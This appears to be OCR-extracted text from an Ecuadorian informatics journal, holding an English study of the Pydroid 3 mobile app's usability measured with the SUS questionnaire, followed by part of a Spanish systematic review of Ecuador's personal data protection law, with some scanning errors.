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método SUS

Resumen

Hoy en dia, las empresas de tecnologia desarrollan aplicaciones moviles
con el fin de satisfacer diversas necesidades de los usuarios. Estas
aplicaciones moviles son disefladas en base a ciertos parametros de
estudio como es la usabilidad. La usabilidad de una aplicacion movil se
refiere a la magnitud con la cual el usuario satisface sus necesidades en un
contexto especifico. La usabilidad de una aplicacion movil esta regulada
por la eficiencia, eficacia y el grado de satisfaccion del usuario como lo
establece la norma ISO 9241-11. En este estudio, se pretende medir la
usabilidad de la aplicacion movil Pydroid 3 ® mediante el método SUS,
donde la variable de estudio fue el grado de satisfaccion del usuario, en
este caso la poblacion de estudio fue homogénea, fueron estudiantes de
nivel universitario. Segun los resultados obtenidos, se obtuvo un grado
de satisfaccion entre el 40 % y 50 %, estos denotan que la aplicacion
presenta complejidad en el uso y requiere de soporte técnico para mejorar
la usabilidad. En conclusion, la aplicacion mdvil presentd una usabilidad
media considerando el nivel de satisfaccion obtenido.

Palabras clave: Usabilidad; Sistema; Satisfaccion; Usuario.

Abstract

Nowadays, technology companies develop mobile applications in order to
satisfy various user needs. These mobile applications are designed based
on certain study parameters such as usability. The usability of a mobile
application refers to the extent to which the user satisfies his needs in a
specific context. The usability of a mobile application is regulated by the
efficiency, effectiveness and degree of user satisfaction as established by
the ISO 9241-11 standard. In this study, we intend to measure the usability
of the mobile application Pydroid 3 ® using the SUS method, where the
study variable was the degree of user satisfaction, in this case the study
population was homogeneous, they were university level students.
According to the results obtained, a degree of satisfaction between 40
% and 50 % was obtained, these denote that the application presents
complexity in use and requires technical support to improve usability.
In conclusion, the mobile application presented an average usability
considering the level of satisfaction obtained.

Keywords: Usability; System; Satisfaction; User.
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1. Introduction

Mobile devices offer multiple services through mobile
applications, in short, a mobile application can execute a specific
task through an operating system. In the market, there are various
operating systems, which stand out, Android, i0S, OS, Windows
Phone, among others. Today, mobile applications must comply
with multiple aspects so that it is liked by the user and generates
greater economic value in the market. Multiple companies
develop mobile applications in order to satisfy educational, data
storage, data analysis, and entertainment needs, among others
(Hoehle & Venkatesh, 2015).

Mobile applications are developed based on quality standards,
according to the ISO 9241-11:1998 standard modified in
2018, this standard is oriented towards quality in usability
and ergonomics for technology products and services, both
in software and hardware. These regulations are based
on standards such as ISO/EEC 15288:2008 and ISO/EEC
12207:2008, which allow the software to provide the concept
of quality, establishing whether the requirements are correct,
complete, precise, consistent, and verifiable (Fathiyyah et al.,
2022; Sigalingging et al., 2022).

The ISO 9241 standard focuses specifically on human-centered
design and a determining factor is usability. Usability refers to
the extent to which a product can be used by specific users
in a specific context (Fathiyyah et al., 2022). Also, it should
be noted that usability is influenced by constant technological
progress and offering a product that satisfies the user need
(Fathiyyah et al., 2022). Based on the aforementioned ISO
standard, to measure usability, the parameters to take into
consideration are effectiveness, which is related to the precision
and completeness with which users use the application. Also,
efficiency is defined as the relationship between effectiveness
and the resources used in the development of the mobile
application. Finally, satisfaction is the degree to which the
user feels satisfied when using the application to achieve the
defined objective (Fathiyyah et al., 2022).

There are different methods to evaluate the usability of a
mobile application, considering that there is no single test to
do it, companies like Google, Apple, Yahoo!, among others,
use usability techniques based on specific needs. According to
Kaya et al. (2019) it establishes that the utility scalability of a
system (SUS) method is an alternative to determine usability
through the level of user satisfaction, where it will be possible
to understand the problems that users face when using a
mobile application.

Hoehle & Venkatesh (2015) used the SUS method to measure
the usability of the top ten mobile applications on iOS and
Android platforms for smartphones and tablets. The results of
their study show that mobile apps on the iOS platform are

J Informatica y Sistemas
Revista de Tecnologias de la Informatica y las Comunicaciones

easier to use than Android-based apps.

Google Android and Apple iOS have their own user interface
guidelines that developers must follow to launch their mobile
apps on the Apple and Google stores (Rafifing et al., 2022;
Ratnawati et al., 2020). In addition to these guidelines, in
the literature, there are several mobile application usability
guidelines developed by researchers based on this type of user
interface guidelines (Darmawan et al., 2021; Dian Martha et
al., 2021; Wahyuningrum et al., 2020).

Kortum & Sorber (2015) developed nineteen first-order
constructs such as instant startup, effort minimization,
concise language, and 6-second constructs such as application
layout, UI graphics for mobile applications, such as those
based on Apple general usage guidelines. They validate their
conceptualization by applying surveys to American consumers
who use social networking applications.

This study aims to evaluate the usability of the Pydroid 3 ®
mobile application, this mobile application is available in the
Android operating system, developed by the company IIEC
®. Pydroid 3 ® is a mobile application that offers users to
learn programming with Python (ITEC, 2023). The usability of
the mobile application was evaluated through the SUS method
applied to university level students in Ecuador, mentioning
that the application was used from May 2019 to January
2023 in order to improve the teaching-learning processes of
software development. in college-level students.

2. Method
2.1. Study population

For this study, the mobile application Pydroid 3 ® was evaluated
on the Android operating system. The study population were
students of the Software Development career (n = 96) of the
Higher Technological Institute Japan, in Ecuador. In this study
the students taken into consideration were in technical training
prior to the use of the mobile application.

2.2. Determination of the user satisfaction level

For this study, the mobile application Pydroid 3 ® was evaluated
on the Android operating system. The study population were
For the study, the SUS method established by Brooke in 1996
was used, which consists of a set of questions, which evaluate
positive and negative aspects of the mobile application.
The even-numbered questions represent the evaluation of
negative aspects, and the odd-numbered questions represent
the evaluation of positive aspects. The dependent variable was
the degree of user satisfaction, which is represented on a scale
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Table 1. Test to determine the usability of a system.
Source: (Kaya et al., 2019).

Number Question

I think that I would like to use this system frequently.

1
2 I found the system unnecessarily complex.
3 I thought the system was easy to use.
4 1 think that T would need the support of a technical person to be able to use this system.
5 1 found the various functions in this system were well integrated.
6 I thought there was too much inconsistency in this system.
7 I would imagine that most people would learn to use this system very quickly.
8 I found the system very cumbersome to use.
9 I felt very confident using the system.
10 (0)  Ineeded to learn a lot of things before I could get going with this system.

of 0 to 5 points. As detailed in Table 1.

For the interpretation of the results, the scheme proposed by
Ahmad et al. (2023) was used, which establishes a scale of 0
to 4 points, i.e., for the score of the even numbered questions,
the user score will be subtracted from the maximum score,
i.e., five points As detailed in Table 2. For odd numbered
questions, one point will be subtracted from the user score.
Additionally, Ahmad et al. (2023) and Kaya et al. (2019) state
that the sum of the scores obtained, multiplied by a constant
(2.5), these values were represented as a percentage.

Table 2. Test to determine the usability of a system.

Source: (Kaya et al., 2019).

Grade Meanings
0 Very dissatisfied
1 Dissatisfied
2 Tolerable
3 Satisfied
4 Very satisfied

2.3. Data analysis

Within the statistical analysis, a hierarchical model was
used, supported by scatter plots, the study variable was the
percentage of user acceptance with respect to the question
asked, then a maximum likelihood scheme of variables was
elaborated by means of a dendogram.

3. Results

According to the results obtained, ninety-six participants
were surveyed, of which 80.2 % are male and 19.8 % are
female, these data refer to the number of students enrolled
from 2019 to the present date as shown in Figure 1.

Figure 1. Diagram of the study population distribution.

3.1. Level of user satisfaction

Based on the results obtained in the application of the
questionnaire, it was determined that the percentage of user
satisfaction is in a range between 40 % and 50 % as shown in
Figure 2. Within question 1, users stated that they would use
the system again with a tolerable frequency. In question 2, users
stated that they were dissatisfied as they considered it to be a
complex system. In question 3, users reported that the ease of use
of the system is tolerated. In question 4, users stated that usability
regarding technical support is dissatisfied as technical support
is required. In question 5, users stated that various integrated
functions are observed so usability is tolerable.

Likewise, as shown in Figure 2, in question 6, users reported
several inconsistencies, but stated that these were tolerable. In
question 7, the users reported that they are tolerable, however,
they do not consider that it is easy to learn for all the public.
In question 8, they reported that the system is cumbersome to
use and were dissatisfied. In question 9, it was reported that
users are tolerable in reference to the use of the system from
the perspective of the security offered by the service. Finally,
in question 10, users stated that learning previous concepts is
required for the use of the Pydroid 3 ® system, however, it is
tolerable.

Figure 2. Graph of average percentage of user satisfaction.
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3.2. Analysis of results

According to the results obtained, users reported complexity in the
use of the mobile application, this may be due to multiple factors,
lack of prior knowledge is one of them, although the group was
in contact with the mobile application for about 4 months and its
use was challenging during didactic classes. Pydroid 3 ®, being a
mobile application for software development, requires technical
support, especially if the user is a student. In addition, users
reported different integrated functions, this refers to the fact that
Pydroid 3 ® offers multiple tools for software development (Al-
Omar, 2018; Hidayat et al., 2022).

Users indicate that there are inconsistencies in the system, this
may be due to new application or mobile updates or compatibility
with mobile devices. Pydroid 3 ® being an educational mobile
application requires previous knowledge of software development
to improve its usability, this is corroborated by the results obtained.
Users reported that the system can be cumbersome to use, this
may be due to the lack of experience in software development. In
relation to data security, Pydroid 3 ® is dependable as stated by
the users (Ismail et al., 2021).

In reference to the plausibility of the degree of user satisfaction as
seen in Figure 3, it was determined that the odd number questions
are grouped in general clade as well as the even number questions.
Considering that it is not the same trend between question eight
and question nine, however the context of both questions refers to
the security of the data and the difficulty of using the application,
in itself, there is a proportional correlation since the users
corroborate that they feel safe using the application despite the
difficulty of its use (Hadiwiyanti et al., 2022; Rafifing et al., 2022).

Figure 3. Dendogram for user usability with respect to question
number.
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According to data provided by Google, the Pydroid 3 mobile
application has a degree of user acceptance of 90 % considering
33500 user opinions, i.e., it has a high usability, considering
the degree of user satisfaction. In comparison to the results
obtained, within the study population, a range of user satisfaction
between 40 % and 50 % was obtained, i.e., it presents a medium
usability. This may be due to the fact that the study population
is homogeneous, i.e., they are students in the stage of acquiring
knowledge, which may hinder the usability of the mobile
application (Martono et al., 2022; Pradini et al., 2019).

4. Conclusions

It is concluded that the degree of user satisfaction is between
40% and 50%, which shows that the usability of the mobile
application was average considering the aspects evaluated by
the SUS method. Based on the results obtained, the usability
of Pydroid 3 ®, the application requires updates and technical
support. As this influences the level of user satisfaction.

The SUS method allows to evaluate the usability of a mobile
application, through the degree of user satisfaction, although it is
a parameter to be considered in the usability, it should also take
into consideration the efficiency and effectiveness of a mobile
application as a parameter of study of the usability of a mobile
application.

It is important to determine the usability of educational mobile
applications since new teaching-learning techniques can be
employed considering high usability. In future studies, we intend
to evaluate the usability of educational mobile applications in
different operating systems in order to establish usage trends in
gamification processes in students.
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Ecuadorian legislation

Resumen

En Ecuador hace unos afios existia una incongruencia en cuanto al tema de
manipulacion de informacion en la que reconocia la proteccion de datos
personales como derecho fundamental, basandose en su Constitucién y
careciendo de una estructura legal interna que le permitiera responder
a dicha proteccion. Hoy en dia, el estado ecuatoriano cuenta con una
normativa que intenta cumplir con las necesidades de garantizar la
seguridad de la informacion personal. Esta investigacion tiene como
finalidad revisar, analizar los puntos principales y mas relevantes que
contiene la Ley Organica de Proteccion de los Derechos a la Intimidad
y Privacidad sobre los Datos Personales del Ecuador comparandola
con legislaciones de naciones hermanas, como también de organos
internacionales. Se utilizd6 como metodologia la revision sistematica de
la literatura, sosteniendo cada una de sus fases como: La identificacion
de lo que se va a investigar, especificacion de los criterios de inclusion y
exclusion, formulacion y plan de basqueda, revision y evaluacion de los
resultados. Obteniendo como resultado que, la Ley de Proteccion de Datos
Personales del Ecuador estd considerada como una de las normas mas
jovenes, mejor, y mas completas a nivel latino americano, permitiéndole
abrir un abanico de oportunidades en crecer hacia las nuevas tendencias
del mercado global.

Palabras claves: Datos personales, ley organica, proteccion de datos,
seguridad, privacidad, informacion.

Abstract

A few years ago in Ecuador there was an inconsistency in the handling
of information in which it recognized the protection of personal data as a
fundamental right, based on its Constitution and lacking an internal legal
structure that would allow it to respond to such protection. Nowadays,
the Ecuadorian state has a regulation that tries to comply with the needs
of guaranteeing the security of personal information. The purpose of
this research is to review and analyze the main and most relevant points
contained in the Organic Law for the Protection of the Rights to Privacy
and Privacy of Personal Data of Ecuador, comparing it with the legislation
of sister nations, as well as international bodies. The methodology used
was the systematic review of the literature, holding each of its phases
as: The identification of what is to be investigated, specification of the
inclusion and exclusion criteria, formulation and search plan, review and
evaluation of the results. As a result, the Personal Data Protection Law of
Ecuador is considered one of the youngest, best and most complete norms
in Latin America, allowing it to open a range of opportunities to grow
towards the new trends of the global market.

Keywords: Personal data, organic law, data protection, security, privacy,
information.
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1. Introduccion

Isbel (2021) sefiala que en el mundo se ha evidenciado
claramente que la informacion es un valor muy apreciado por
muchos debido a los diferentes aspectos relevantes que puede
entregar, un caso particular puede ser, por ejemplo, como
indica Puente (2021), la informacion en las organizaciones
juega un papel muy importante ya que su peso recae en la
toma de decisiones, o por otros aspectos como la calidad, por
lo que es considerada como el activo més importante.

Terrazas (2000) indica que para comprender un poco este
contexto sobre el derecho a la privacidad es necesario conocer
que los primeros indicios al hablar sobre esto data de finales
del siglo XIX, pero su mayor apogeo se dio a mediados del
XX con la Declaracion de los Derechos Humanos en 1948,
colocando como base el derecho humano a la vida privada,
puesto que como comenta Enriquez Alvarez (2018) con el
pasar del tiempo se fueron construyendo algunos instrumentos
de carécter juridico, normas y leyes que sirvan para proteger
este derecho; todo esto debido a la aparicion y el incremento
de los sistemas informaticos, el desarrollo de redes de
telecomunicaciones, entre otros.

La proteccion de datos de caracter personal es parte
fundamental del derecho a la intimidad que se le otorgan a
todas las personas que utilizan los diferentes medios de
almacenamiento y trasmision de datos (Villagomez, 2018).
La informacion personal estd considerada como todo aquello
que es propio y que se debe mantener de manera auténoma.
Como se mencionaba anteriormente los avances tecnologicos
desarrollados en las ultimas décadas, han logrado la manera
de violentar la integridad de los datos personales. Ramirez
(2021) manifiesta que se han desarrollado mecanismos como
una respuesta para salvaguardar este espacio de incidentes de
este tipo.

De Luis (2022) afirma que la proteccion de los datos es un
derecho fundamental de todo ciudadano, el cual le brinda la
potestad de controlar la informacion personal de cada sujeto,
siendo almacenada, procesada o transmitida por terceros.

En la actualidad el Ecuador en su Coédigo Organico Integral
Penal sanciona los delitos informaticos con penas de privacion
de libertad, los mismos que esta tipificados desde el afio 2014;
posteriormente en el afio 2021 entra en vigencia el proyecto
de Ley de Proteccion de Datos Personales que nace con la
necesidad de que Ecuador se adhiera al modelo mundial de
proteccion de datos personales. Sin embargo, la filtracion de
datos producida por el conocido caso Novaestrat en 2019 fue
el elemento detonante para la creacion de esta normativa. Asi
mismo el uso inapropiado de la gestion de datos sensibles
pueden generar, un inadecuado uso, afectacion a las libertades
individuales a los derechos fundamentales de las personas.
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Por esto, los datos sensibles necesitan ser gestionados, no solo
desde el ambito técnico, sino también del ambito juridico.

Es por ello, que el objetivo de este estudio fue el de revisar,
analizar los puntos principales y relevantes que contiene la
Ley Orgéanica de Proteccion de los Derechos a la Intimidad
y Privacidad sobre los Derechos Personales del Ecuador
comparandola con legislaciones de naciones hermanas, como
también de érganos internacionales.

2. Métodos
2.1. Revision sistematica de la Literatura

En el marco de esta investigacion se utilizd como herramienta
metodologica la revision sistematica de la literatura, como
lo indica la Universidad de Navarra (2023) que la revision
sistematica es como un tipo de estudio cientifico que
basicamente se enfoca en larecopilacion de todalainformacion
que se haya generado por las diversas investigaciones, sea
de un tema en especifico o preguntas determinadas con el
objetivo de evitar sesgos, concebir con resultados fiables con
los que se logren extraer conclusiones y aportar en la toma de
decisiones.

Para lograrlo Moreno et al. (2018) indican que para comenzar
con el proceso de revision sistematica era necesario realizar
una pregunta o varias preguntas para que con una busqueda
en las base de datos y articulos tutiles se pudiera responder
las interrogantes, por lo que ensefiaba que, una vez se hayan
obtenido la informacion, Shamseer (2021) sefiala que se debia
seleccionar los articulos o fuentes bibliograficas, para que
asi posteriormente se obtendran los datos y se procedera a
realizar el analisis critico de la informacion, culminando con
la exhibicion de los resultados.

Apoyandose en lo antes mencionado se optd por recurrir a
las fases de la revision sistematica como lo sefialan Carrizo y
Moller (2018) a continuacion:

2.1.1.Identificar claramente lo que se va a investigar

En esta fase como recomendd Sequera (2022) se identifico
claramente el problema y se plantearon las preguntas con términos
significativos claros y precisos las cuales fueron respondidas a
lo largo del proceso de la investigacion del articulo, aludiendo
principalmente al tema de proteccién de datos personales.

2.1.2.Especificacion de los criterios de inclusiéon y exclu-
sion de la investigacion

En este apartado se especifico los aspectos o caracteristicas
que seran incluido o excluidos de la investigacion realizada
de acuerdo con las preguntas que se realizaron en el primer
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punto, lo que permitié asegurar los atributos de busqueda para
la revision (Universidad de Navarra, 2023). Los criterios que se
establecieron fueron los siguientes:

° Criterios de Inclusion:

Aqui se especificaron los tipos de documentos de
investigacion e informacion, también se consider6 el
idioma, y el tema al que hace referencia la exploracion
de informacion que debe tener relacion con el objetivo
de este articulo, como lo manifestd6 Gonzalez-Moreno
y Molero-Jurado (2022).

° Criterios de Exclusion:

Como indica Bastis Consultores (2022) se tratdo de
tomar en cuenta todos los aspectos, condiciones, y
caracteristicas de los documentos que en consecuencia
permitieron no hacerlos elegibles para el marco de este
estudio.

2.1.3.Especificacion de los criterios de inclusion y exclu-
sion de la investigacion

Aqui se recopild toda la informacion necesaria, las cuales se
obtuvieron por medio de busquedas de estudios publicados como
no publicados, sosteniendo por lo que menciona Sabatés y Roca
(2020) esta busqueda se la realizé con una formulacion adecuada
utilizando las combinaciones de palabras claves.

A su vez, como sefiala Areas (2021) se realizo la busqueda de
documentos publicados en las bases de datos internacionales,
latinoamericanas y revistas indexadas de libre acceso en la web
o disponibles en la plataforma virtual de la Escuela Superior
Politécnica Agropecuaria de Manabi MFL (ESPAM) utilizando
las palabras claves definidas.

2.1.4.Registro y evaluacion de la calidad de los estudios
seleccionados

Como expone Pizarro et al. (2021) en este apartado se registraran
las caracteristicas con detalles en un formato establecido que
permita definir la validez de los estudios. Asi también, con la
ayuda de los bancos de datos de alto impacto se pudo extraer la
informacion necesaria para la investigacion debido a que estas
publicaciones han pasado por un proceso de calidad que permite
asegurar la validez de su contenido.

3.Resultados
3.1.Fase 1: Identificar claramente lo que se va a investi-
gar

En esta fase se logro plantear las siguientes interrogantes, las
cuales permitieron asentar las bases para desarrollar el proceso
de esta investigacion:

° (Qué es la ley de proteccion de datos
personales?
° (Ecuador cuenta con una ley de proteccion

de datos personales?

° (Para qué sirve la ley de proteccion de
datos personales?

° (Realmente protege el derecho de las
personas esta ley?

3.2. Fase 2: Especificacion de los criterios de inclusion y
exclusion de la investigacion

Por consiguiente, conociendo lo que se iba a investigar se
procedio a implementar los siguientes criterios de investigacion:

Criterios de inclusion:

° Articulos cientificos, revisiones sistematicas
0 metaanalisis con acceso de texto completo
publicados entre el 2018 y 2023 en idioma
espafol o inglés, a excepcion de las leyes,
normativas, reglamentos, entre otros.

° Articulos cientificos, revisiones sistematicas
o metaanalisis que hagan referencia a la
proteccion de los derechos privados de las
personas.

° Estudios de tipo cualitativo o cuantitativo
con acceso de texto completo.

° Los articulos cientificos, revisiones
sistemdticas o metaanalisis que se refirieran
a la proteccion de datos personales.

° Articulos cientificos, revisiones sistematicas
o metaanalisis que hagan referencia a la
ley de proteccion de datos personales en el
Ecuador.

° Articulos cientificos, revisiones sistematicas
o metaanalisis que hagan referencia a la
ley de proteccion de datos personales de la
Unién Europea.

° Articulos cientificos, revisiones sistematicas
o metaanalisis que hagan referencia a la ley
de proteccion de datos personales de otros
paises.

Criterios de exclusion:

° Articulos cientificos, revisiones sistematicas
o metaanalisis enfocadas en construcciones
de leyes.

° Articulos cientificos, revisiones sistematicas

o metaanalisis donde se realizaron estudios
de leyes referentes a datos.

° Material publicado en otras fuentes de
informacion como libros, capitulos de libros
o conferencias.

° Articulos cientificos, revisiones sistematicas,
sitios web, donde la fecha de publicacion que
no cumplieron con los rangos establecidos, es
decir, superaron los 5 afios de antigiiedad a la
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fecha de hoy. Tabla 1: Resultados de la revision sistematica de la literatura
. Fuente: Los autores
° Articulos que no sean de acceso a texto
completo.
.. . i , Sitios Cantidad Documentos
[ Revisiones sistematicas cuya metodologia
incluyé datos provenientes de periodos Base de datos de " 56
fuera de los contemplados para el presente publicaciones cientificas
documento. Libros 38 38
° Estudios que hacian referencia a otro abordaje Sitios webs, blogs 18 18
gobfe' proteccion de informacién que no sea Total 70 112
individual.
° Estudios cuyo andlisis sobre la proteccion de

datos que no tenian un enfoque claro.
3.3.Fase 3: Formulacién y plan de biisqueda
de la literatura

En este apartado se reunieron todas las palabras claves que
generan mayor nivel de exploracion en los buscadores, por lo
que, como resultado se obtuvo la implementacion las siguientes
combinaciones de palabras claves:

° Proteccion de datos

° Ley organica de proteccion de datos

° Derechos de privacidad

° Datos personales

° Unién Europea legislacion de proteccion de datos
° Gestion de datos

° Principios de proteccion de datos

° Proyecto de ley de datos

° Politicas sobre proteccion de datos

° Derechos de proteccion de datos

° Cumplimiento de ley de proteccion de datos
° Sanciones en la ley de proteccion de datos

A su vez, se hizo uso de 13 herramientas, entre estas como son
las bases de datos de publicaciones cientificas, repositorios, o
puntos de investigacion que contienen los bancos de informacion
referente al tema, las cuales se detallan a continuacion:

° Sitios web, Blogs, Articulos web, Plataforma ELibro

° Redalyc, Repositorio Scielo, Repositorio Dialnet,
Revista cientifica Ecociencia

° Springer, ScienceDiret, Biblat, Doab, Wiley
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Una vez culminado todo el proceso de investigacion y revisiones
bibliograficas, se lograron encontrar alrededor de unos 112
documentos, de todos estos, un total de 56 corresponden a
articulos cientificos que fueron encontrados en diferentes bases
de datos de publicaciones cientificas, 38 pertenecientes a libros,
18 que se extrajeron de articulos web, sitios web, y blogs.

Tras la revision previa, se logré reducir significativamente la
cantidad de articulos a 51, esto se lo realizo verificando por
medio de la lectura de su titulo, el afio de su publicacion, si
tenian relacion directa con el tema que sustenta este articulo,
otro aspecto era si estaban repetidos o duplicados, estos fueron
excluidos. Posteriormente se procedio a realizar una segunda
revision, por lo que para este momento se dio lectura al resumen,
una gran parte a la introduccion, y las conclusiones, en efecto,
solo 30 articulos se enmarcaron bajo los criterios de inclusion
para la lectura de texto completo. Después de la lectura completa,
solo 6 articulos cumplieron con los criterios para ser electos en
el analisis comparativo de la ley de proteccion de datos. Cabe
recalcar que también fueron consideradas las leyes de proteccion
tanto del Ecuador, paises sudamericanos, y los que pertenecen
a la Unién Europea, siendo estos los ejes del analisis de este
trabajo de investigacion.

3.3.1.Estudios incluidos en la investigacion

En esta seccion se presentan los principales hallazgos que
permitieron bajo su lectura lograr profundizar y conocer los
aspectos necesarios en cuanto a la proteccion de datos, el
como otros paises los manejan, a su vez también se encuentran
evidenciados las leyes de proteccion de datos de ciertos paises
involucrados en este estudio, las cuales seran citados en la
discusion de este articulo. A continuacidon, estos fueron los
estudios seleccionados:
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Tabla 2: Estudios incluidos en el proceso de investigacion y
revision de la literatura
Fuente: Los autores

Autor Ao Tema

Paradigmas de la proteccién de datos personales en
Ecuador. Andlisis del proyecto de Ley Organica de
Proteccion a los Derechos a la Intimidad y Privacidad
sobre los Datos Personales.

Luis Enriquez Alvarez 2017

Asociacion para el Progreso de las
Comunicaciones

Observaciones al proyecto de ley de proteccién de datos

2021
personales en Ecuador.

Comentarios al proyecto de ley chileno sobre
Michelle Bordachar Benoit 2022 proteccion de datos personales: Deficiencias e
inconsistencias en los derechos ARCO

La Agencia Espafiola de Proteccion de datos: un estudio
Morales-Ferrer 2022 breve sobre su naturaleza juridica, su régimen juridico y
su estructura tanto estatal como autonémica.

Politicas publicas y proteccién de datos personales en

Pineda, da, y C 2022 . . -
ineda, Quezada, y Correa Ecuador: reflexiones desde la emergencia sanitaria.

Infracciones de la Ley Organica de Proteccion de Datos
Navarro M. P. 2020 en el ambito sanitario. Descripcion estadistica de las
infracciones.

Este articulo tiene el propdsito de analizar las falencias juridicas
del proyecto de Ley Organica de Proteccion de los Derechos
a la Intimidad y Privacidad sobre los Datos Personales con
el fin de realizar correcciones, y plantear el desarrollo de una
ley de proteccion de datos personales que esté encajada con
la legislacion de otros paises y organismos internacionales
(Enriquez Alvarez, 201 8).

Asociacion para el Progreso de las Comunicaciones (2021),
este apartado trata sobre el analisis y correcciones de ciertos
articulos de la propuesta del proyecto de ley de proteccion de
datos personales (el “Proyecto”), que se encuentra considerados
en las relaciones Internacionales y Seguridad Integral y el pleno
de la Asamblea Nacional de Ecuador, compartiendo un analisis
actualizado del texto propuesto por la Comision, conforme a la
experiencia internacional en la materia de las organizaciones que
la asociacion para el progreso de las comunicaciones representan.

Este trabajo se enfoca en aquellos aspectos relacionadas con el
cumplimiento del estandar de proteccion de datos personales, el
cual esta inspirado en el Reglamento General de Proteccion de
Datos de la Union Europea (Bordachar Benoit, 2022).

En el presente articulo se pretende realizar un analisis descriptivo
de los instrumentos juridicos sobre las normas de proteccion de
datos que se encuentran vigentes, realizando un énfasis en la
AEPD tomando como referencia su naturaleza juridica, régimen
juridico y estructura estatal y autondmica que esta preside
(Morales-Ferrer 2022).

Ordoéiiez Pineda et al. (2022) el objetivo de esta investigacion
es de evidenciar la necesidad de fortalecer la tutela del derecho
fundamental de proteccion de datos personales, mediante la
formulacion y ejecucion de politicas publicas en Ecuador, a su
vez, trata como unos de sus puntos principales como es el estudio
de las sentencias emitidas por la Corte Constitucional sobre el
aspecto de gestionar una internet segura para los nifios, nifias, y
adolescente del pais.

Palomo Navarro (2020) este documento fue incluido debido a que
genero cierta incertidumbre con respecto al procedimiento que
este realizd caso de tratamiento de datos en el ambito sanitario,
por lo que sustenta un incidente referente a una demanda
ciudadana, y como se analiza el caso conforme la ley lo exige.

4. Ley organica de proteccion de datos personales del
Ecuador

4.1. Primeras gestiones para el proyecto de ley

“Con 118 votos a favor, el pleno de la Asamblea Nacional aprobo
el 10 de mayo de 2021, la Ley de Proteccion de Datos Personales.
Este cuerpo legal pasd por un amplio proceso de construccion
participativa, el cual inicid en octubre de 20177, (Direccion
Nacional de Registros Publlicos, 2021).

4.2. Estructura y breve introduccion a la Ley Organica
de Proteccion de Datos Personales

En efecto como uno de los resultados mas relevante y notorio,
es el de conocer que contempla la ley de proteccion de datos. A
continuacion, se describe la estructura y los componentes que se
consideraron mas relevantes de la normativa.

Capitulo I: ambito de aplicacion integral

Este primer apartado se encuentra formado por 9 articulos en los
cuales se describen todos los mecanismos necesarios incluyendo
el objetivo y la finalidad de la Ley Orgéanica de Proteccion de
Datos Personales, por su parte abordan temas como el ambito
de aplicacion material y la territorialidad de la ley, los términos
y definiciones de la ley, se sefiala también a los integrantes del
sistema de proteccion de datos personales del Ecuador, y se
abordan directivas conocidas como las bases de legitimacion
del tratamiento de datos personales. A su vez es necesario
resaltar la incorporacion del marco de extraterritorialidad para el
tratamiento de datos personales.

Capitulo II: principios

Este capitulo solo tiene un unico articulo, pero en su desarrollo
se contemplan 13 principios de la Ley Orgéanica de Proteccion
de Datos Personales, los mismos que se constituyen para el
tratamiento de datos personales, de tal manera que, permitiran
desarrollar las habilidades necesarias de los profesionales en
materia de Seguridad de la Informacion.

Capitulo III: derechos

Por su parte, en este capitulo se definen todas las relaciones entre
ciudadanos y aquellos que se los considera como responsables
del tratamiento de datos personales, efectuando el control de
los diferentes medios de interaccion, apoyandose también, en
los principios definidos en el capitulo anterior, todo esto bajo el
marco de 14 articulos claramente definidos.

Capitulo I'V: categorias especiales de datos

Este capitulo consiente 8 articulos abordando las caracteristicas
de datos que, en funcion de su procedencia o categoria, deben ser
resguardados con un nivel de cuidado adicional ya que podrian
requerir de una accion denominada tutela judicial, que no es otra

Informatica y Sistemas

Revista de Tecnologias de la Informatica y las Comunicaciones

e-ISNN 2550-6730

Vol. 7, Nim. 1 (7-16): Enero-Junio, 2023

DOI: 10.33936/isrtic.v7i1.5793


https://doi.org/10.33936/isrtic.v7i1.5793
https://doi.org/10.33936/isrtic.v7i1.5793
https://creativecommons.org/licenses/by-nc-nd/4.0/
https://creativecommons.org/licenses/by-nc-nd/4.0/

- @, INFORMATIC
Y SISTEMAS

Revista de Tecnologias de la Informatica
([ J y las Comunicaciones

Facultad de Ciencias Informaticas
Universidad Técnica de Manabi

Av. Urbina y Che Guevara, Portoviejo, Ecuador
W revista.iys@utm.edu.ec

cosa que el derecho a acudir al 6rgano jurisdiccional para avocar
el conocimiento de una causa o resolver un altercado.

Capitulo V: transferencia o comunicacion y acceso a
datos personales por terceros

Gracias al crecimiento exponencial de la tecnologia y el aumento
de los mecanismos de interaccion digitalizados, hoy el mundo
se encuentra totalmente interconectado, debido a eso, lo que se
norma en este capitulo que se encuentra formado por 4 articulos
en los que se establecen las definiciones que permitiran la
transferencia de datos personales a terceros y como se los debe
manipular.

Capitulo VI: seguridad de datos personales

Este se forma de 10 articulos, se resume en que todas las
organizaciones deben fortalecer todas las medidas de control
procurando que la proteccion de los datos se encuentren
establecidos bajo el marco de los valores de la informacion
como lo es, la confidencialidad, integridad, y la disponibilidad,
a su vez, asumiendo e identificando los posibles riesgos a los
que se pueden exponer y, por consiguiente, determinar el debido
procedimiento que permitan mantener estos posibles riesgos en
una escala considerable.

Capitulo VII: del responsable y el delegado de proteccion
de datos personales

En este capitulo se especifica los roles y responsabilidades
en materia de proteccién de Datos Personales y se muestra la
relacion que existe entre los diferentes roles, cuales serian los
aspectos funcionales, sus deberes, a qué estan sujetos como
obligacion segun la ley. Estos aspectos son referencias bajo la
estipulacion de 5 articulos.

Capitulo VIII: de la responsabilidad proactiva

Este capitulo contiene 3 articulos, los cuales permite que
las organizaciones implementen normativas o que reciban
certificaciones ajustandose a estandares como el de las ISO/IEC
que les ayudard a llevar un control de sus procesos, fomentando
la confianza en el tratamiento de datos personales, y a su vez,
colocandolos bajo el principio de mejora continua.

Capitulo IX: transferencia o comunicacion internacional
de datos personales

Capitulo compuesto por 6 articulos, en este aspecto la normativa
busca proporcionar el uso adecuado y la manera de como se
debe controlar el flujo de datos cuando estos se desean exportar
hacia otros territorios fuera del estado en el que se encuentra,
aqui se involucran por lo general las entidades que solicitan de la
transferencia de datos segun lo que demande sus actividades, por
lo que, deben estar sustentando bajo una base legal y principios
éticos por parte de los involucrados.
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Capitulo X: de los requerimientos directos y de la gestion
del procedimiento administrativo

Esta seccion se define mediante 3 articulos por lo que la
normativa ostenta los mecanismos con las que cuenta la persona
que esta manipulando los datos, en este caso el Titular de Datos
Personales, para este pueda hacer de uso de sus derechos.

Capitulo XI: medidas correctivas, infracciones y régimen
sancionatorio

Este capitulo contiene 2 articulos los mismos que definen
las multas o sanciones por el incumplimiento o tratamiento
inadecuado de datos de caracter personal.

Capitulo XII: autoridad de proteccion de datos persona-
les

Subsiguientemente este capitulo lo constituyen 3 articulos que
busca normar a la entidad que tendra la responsabilidad de dar
